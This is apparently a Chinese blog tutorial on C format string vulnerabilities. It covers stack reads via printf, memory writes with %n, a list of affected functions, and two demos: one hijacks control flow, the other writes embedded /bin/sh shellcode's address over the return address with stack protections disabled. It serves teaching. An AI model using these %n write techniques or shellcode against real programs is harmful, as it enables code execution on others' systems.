[漏洞收集]格式化串漏洞深入

printf中的缺陷:

#include <stdio.h>

main()

{

   int a = 44,b = 77;

   printf("a=%d,b=%d\n",a,b);

   printf("a=%d,b=%d\n");

}

则会去读栈上存在的数据 

1.用printf读取内存数据

#include <stdio.h>

int main(int argc,char **argv)

{

   printf(argv[1]);

}

可以利用格式化串漏洞读内存

2.用printf向内存写数据

如果能够配合上修改内存数据,就有可能引起进程劫持和shellcode植入了

在格式化控制符中,有一种鲜为人知的控制符%n。这个控制符用于把当前输出的所有数据的长度写回一个变量中去

#include <stdio.h>

int main(int argc,char **argv)

{

   int len_print = 0;

   printf("before write:length=%d\n",len_print);

   printf("failwest:%d%n\n",len_print,&len_print);

   printf("after write:length=%d\n",len_print);

}

3.通常能够引起格式化漏洞的函数包括:

printf

wprintf

fprintf

fwprintf

sprintf 

swprintf

vprintf

vwprintf

vfprintf

vfwprintf

vsprintf

vswprintf

可以通过简单的静态代码扫描发现这类漏洞

4.格式化串漏洞利用

a、跳转控制

#include <stdio.h>
void function(int c){

   unsigned char buff[2];

   printf("%p\n",buff);

   printf("%152d%n",c,(int *)(buff+6));  //注意152这些需要进行调整

   printf("%132d%n",c,(int *)(buff+7));

   printf("%4d%n",c,(int *)(buff+8));

   printf("%8d%n\n",c,(int *)(buff+9));

}
int main(){

   int a = 1;

   function(2);

   a = 0;

   printf("a = %d\n",a);

   return 0;

}
moonflow@moonflow-ThinkPad-Edge:~/apuetrans$ gcc -g -o fs-exmp4 fs-exmp4.c -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack

moonflow@moonflow-ThinkPad-Edge:~/apuetrans$ ./fs-exmp4 

0xbf8ffb42

                                                                                                                                                       2                                                                                                                                   2   0       0

a = 1

b、 shellcode攻击

#include <stdio.h>
char shellcode[] = "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
                   "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
                   "\x2f\x73\x68\x58";

int main()
{
    int *ret;
    ret = (int *)&ret + 2;
    printf("%p\n", shellcode);
    printf("%0*d%n\n", (int)shellcode &0xff,0,(char *)ret);
    printf("%0*d%n\n", ((int)shellcode>>8) &0xff,0,(char *)ret+1);
    printf("%0*d%n\n", ((int)shellcode>>16)&0xff,0,(char *)ret+2);
    printf("%0*d%n\n", ((int)shellcode>>24)&0xff,0,(char *)ret+3);

}
gcc -o fmt2 fmt2.c -mpreferred-stack-boundary=2 -fno-stack-protector -z execstack

5.重要参考链接:

http://www.dwheeler.com/flawfinder/

http://wenku.baidu.com/view/00c88300bed5b9f3f90f1cd7.html

http://blog.csdn.net/sepnic/article/details/6158458

http://topic.csdn.net/u/20070319/15/f2c414bc-c607-48c6-a64c-019c03f48e5b.html

http://wenku.baidu.com/view/98492ed96f1aff00bed51e58.html

http://wenku.baidu.com/view/e354ebefaeaad1f346933f8d.html

http://wenku.baidu.com/view/dd20a9232f60ddccda38a077.html

http://www.xfocus.net/articles/200103/123.html

http://bbs.pediy.com/showthread.php?t=132554

http://bbs.pediy.com/showthread.php?t=127511

objdump -D a.out | grep -A20 main.:
显示main的前20行

objdump -M intel intel语法显示

原文地址:https://www.cnblogs.com/moonflow/p/2465006.html